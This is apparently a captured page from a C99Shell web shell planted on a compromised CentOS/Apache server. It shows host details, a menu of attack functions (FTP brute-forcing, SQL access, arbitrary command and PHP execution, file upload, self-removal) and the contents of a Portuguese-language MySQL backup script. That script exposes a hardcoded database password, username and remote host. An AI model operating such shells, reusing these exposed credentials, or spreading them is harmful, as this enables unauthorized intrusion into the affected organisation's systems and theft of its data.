!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/usr/local/bin/   drwxr-xr-x
Free 9.35 GB of 93.48 GB (10%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     runbkp.sh (1.85 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/bin/bash
# Obtém a data e hora atual
data_hora=$(date +"%Y-%m-%d %H:%M:%S")
# Diretório corrente
diretorio_bkp="/var/lib/mysql-bkp"
# Arquivo para armazenar mensagens de erro
log="/var/lib/mysql-bkp/log.txt"
# Obtém o dia da semana (segunda-feira é 1, domingo é 7)
dia_da_semana=$(date +%u)
nome_arquivo="dump"
extencao=".sql"
# Concatena o diretório corrente ao nome do arquivo
dia_do_mes=$(date +%d)
# Obter o número da semana corrente e o número total de semanas no mês
numero_semana_corrente=$(date +%V)
numero_semanas_mes=$(date -d "$(date +%Y-%m-01) +1 month -1 day" +%V)
mes_corrente=$(date +"%Y%b")
if [ $numero_semana_corrente -eq $numero_semanas_mes ] && [ $dia_da_semana -eq 5 ]; then
   nome_arquivo="$diretorio_bkp/$nome_arquivo$mes_corrente$extencao"
else
   nome_arquivo="$diretorio_bkp/$nome_arquivo$dia_da_semana$extencao"
   if [ -f "$nome_arquivo" ]; then
       # Exclui o arquivo e redireciona a mensagem de saída para o log
       rm "$nome_arquivo" >> "$log" 2>&1
       if [ $? -eq 0 ]; then
	   echo "$data_hora: Arquivo excluído com sucesso." >> "$log"
       else
	   echo "$data_hora: Erro ao excluir o $nome_arquivo." >> "$log"
       fi
   else
       echo "$data_hora: O arquivo não existe." >> "$log"
   fi
fi
# se o arquivo existe  apaga antes de criar o novo
# Execute o comando mysqldump e redirecione a saída de erro para um arquivo de log
senha="R0k0#2023"
data_hora_i=$(date +"%Y-%m-%d %H:%M:%S")
sudo mysqldump -uirpen1br -h arpenpr.org.br -p"$senha" -f --no-tablespaces irpen1br > "$nome_arquivo" 2>> "$log"
# Verifica o código de saída do comando
if [ $? -eq 0 ]; then
    echo "$data_hora:mysqldump foi executado com sucesso. Arquivo gerado: $nome_arquivo" >> "$log"
    echo "$data_hora:Início as $data_hora_i,  fim as $(date +"%Y-%m-%d %H:%M:%S")" >> "$log" 
else
    echo "$data_hora:Erro ao executar mysqldump." >> "$log"
fi

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.004 ]--